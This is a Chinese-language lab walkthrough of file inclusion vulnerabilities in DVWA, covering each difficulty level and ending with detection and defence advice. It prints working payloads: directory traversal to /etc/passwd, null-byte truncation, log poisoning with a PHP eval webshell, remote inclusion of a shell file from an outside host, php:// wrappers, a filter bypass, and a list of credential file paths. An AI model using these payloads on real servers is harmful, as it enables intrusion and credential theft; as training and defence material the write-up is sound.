Vulnerability: File Inclusion
Intruduce
File Inclusion,意思是文件包含(漏洞):
产生原因:
由于开发人员编写源码时,要将重复使用的代码插入到单个的文件中,并在需要时调用这段代码;而由于并未对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意代码到服务器并执行。
文件包含漏洞是“代码注入”的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含,文件包含漏洞可能出现在JSP、PHP、ASP等语言中。
利用条件
若要成功利用文件包含漏洞进行攻击,需要满足以下两个条件:
Web应用采用include/require()等文件包含函数通过动态变量的方式引入需要包含的文件
用户能够控制该动态变量
本地文件包含(利用前提)
1、相关函数内的参数可控
远程文件包含(利用前提)
1、相关函数内的参数可控
2、allow_url_fopen = On
当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
常见利用方式
PHP包含漏洞结合上传漏洞;
PHP包含读文件;
PHP包含写文件;
PHP包含日志文件;
PHP截断包含;
PHP内置伪协议利用。
Low

File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
分析
服务器端未对page参数做任何过滤和检查
点击 file1.php


漏洞利用
1、本地包含、查看敏感信息、
绝对路径
直接尝试访问 /etc/passwd

Xampp的php环境配置文件:
Apache:\xampp\apache\conf\httpd.conf
PHP:\xampp\php\php.ini
MySQL:\xampp\mysql\bin\my.ini
phpMyAdmin:\xampp\phpMyAdmin\config.inc.php
FileZilla FTP:\xampp\FileZillaFTP\FileZilla Server.xml
Mercury Mail:.\xampp\MercuryMail\MERCURY.INI
Sendmail:\xampp\sendmail\sendmail.ini
主文件都存放在 htdocs 文件夹中(\xampp\htdocs)
尝试读取php.ini
成功读取,可以看到
magic_quotes_gpc = Off
allow_url_fopen on
allow_url_include on
配置文件中的Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
%00截断:
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
%00截断目录遍历:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
相对路径
修改参数 file1.php为一些常见配置文件路径
/dvwa/vulnerabilities/fi/?page=../../../../apache/conf/httpd.conf

/dvwa/vulnerabilities/fi/?page=../../../../mysql/bin/my.ini

2、包含Apache日志文件
在日志文件中写入phpinfo
http://192.168.10.11/dvwa/vulnerabilities/fi/?page=C:/xampp/apache/logs/access.log

写入一句话 <?php @eval($_POST[‘Cknife’]);?>

一开始用的菜刀没连上,一直以为是出了啥问题,换了把菜刀连上了
3、远程文件包含
远程代码执行:
?file=[http|https|ftp]://example.com/shell.txt
(需要allow_url_fopen=On并且 allow_url_include=On)
首先在我们自己的主机上制作一个包含写入一句话的txt文本
<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[111]);?>");?>

在远程包含我们构造好的test.txt文本,通过该文本在目标主机上写入一句话
菜刀连接
4、配合上传漏洞写webshell
和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马shell.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell
5、使用PHP封装协议读取文件和写入PHP文件
####### 1、读取文件:
先看看读取文件,如输入page参数值为:
php://filter/read=convert.base64-encode/resource=../../../../mysql/bin/my.ini

2、写入文件:
利用php流input:
?file=php://input
(需要allow_url_include=On)

Middle
File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
分析
使用str_replace函数是极其不安全的,因为可以使用双写叠加绕过替换规则。
将输入的url参数中包含的“http://”、“https://”、“../”、“..\”字符串替换成空的字符串,即过滤了远程文件包含和相对路径,对于本地文件绝对路径包含并没有任何过滤;对于这个替换函数我们可以使用嵌套叠加来绕过
漏洞利用
使用嵌套叠加绕过绝对路径过滤
../../../../apache/conf/httpd.conf

我们构造如下嵌套的路径就可以绕过了
..././..././..././..././apache/conf/httpd.conf

使用嵌套叠加绕过远程文件包含过滤




High
File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
分析
nmatch() 函数根据指定的模式来匹配文件名或字符串。
此函数对于文件名尤其有用,但也可以用于普通的字符串。普通用户可能习惯于 shell 模式或者至少其中最简单的形式 ‘?’ 和 ‘*’ 通配符,因此使用 fnmatch() 来代替 ereg() 或者 preg_match() 来进行前端搜索表达式输入对于非程序员用户更加方便
该函数将只匹配file开头和名为include.php的文件,本质就是利用白名单机制进行过滤,不过也不完全是白名单,其他文件一律报错,看似不能绕过,但是我们可以利用file协议绕过防护策略。
漏洞利用
file协议绕过
Impossible
File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
分析
使用了白名单进行检查是否为可信的文件,暂无利用方法
系统常见的敏感信息路径:
Windows系统
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\Metabase.xml //IIS配置文件
C:\Windows\repair\sam //存储Windows系统初次安装的密码
C:\Programe Files\mysql\my.ini //Mysql配置
C:\Programe Files\mysql\data\mysql\use.MYD //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\mysql.ini // Mysql配置文件
C:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
C:\Program Files\Serv-U\ServUDaemon.ini
Linux系统
/etc/passwd //用户信息文件
/etc/shadow //密码
/usr/local/app/apache2/conf/httpd.conf //apache2默认设置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟主机设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
检测方法
1、找到有包含函数的页面,对函数内容进行替换查看结果;
注意path参数,一般可能的变量名:
src、 filename、 file、 path、filepath、uri……
2、可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;
3、白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。
文件包含防护
代码层
1.严格判断包含的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”;
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("head.php");。
5.尽量不使用远程文件包含,如果业务无法避免,尽量校验远程主机域名。
使用白名单指定能包含的文件
<?php
$filename = $_GET['filename'];
switch($filename){
case 'head';
case 'foot';
case 'main';
include 'var/www/html/'.$filename.'php';
break;
default:
include '/var/www/html/main.php';
}
?>
设置open_basedir的值将允许包含的文件限定在某一特定目录内。
注:open_basedir是目录前缀
open_basedir=/var/www/test
open_basedir=/var/www/test/
第一种情况可以允许/var/www/test 、 /var/www/test123 等目录
如果要严格限制目录应使用第二种
参考
新手指南:DVWA-1.9全级别教程之File Inclusion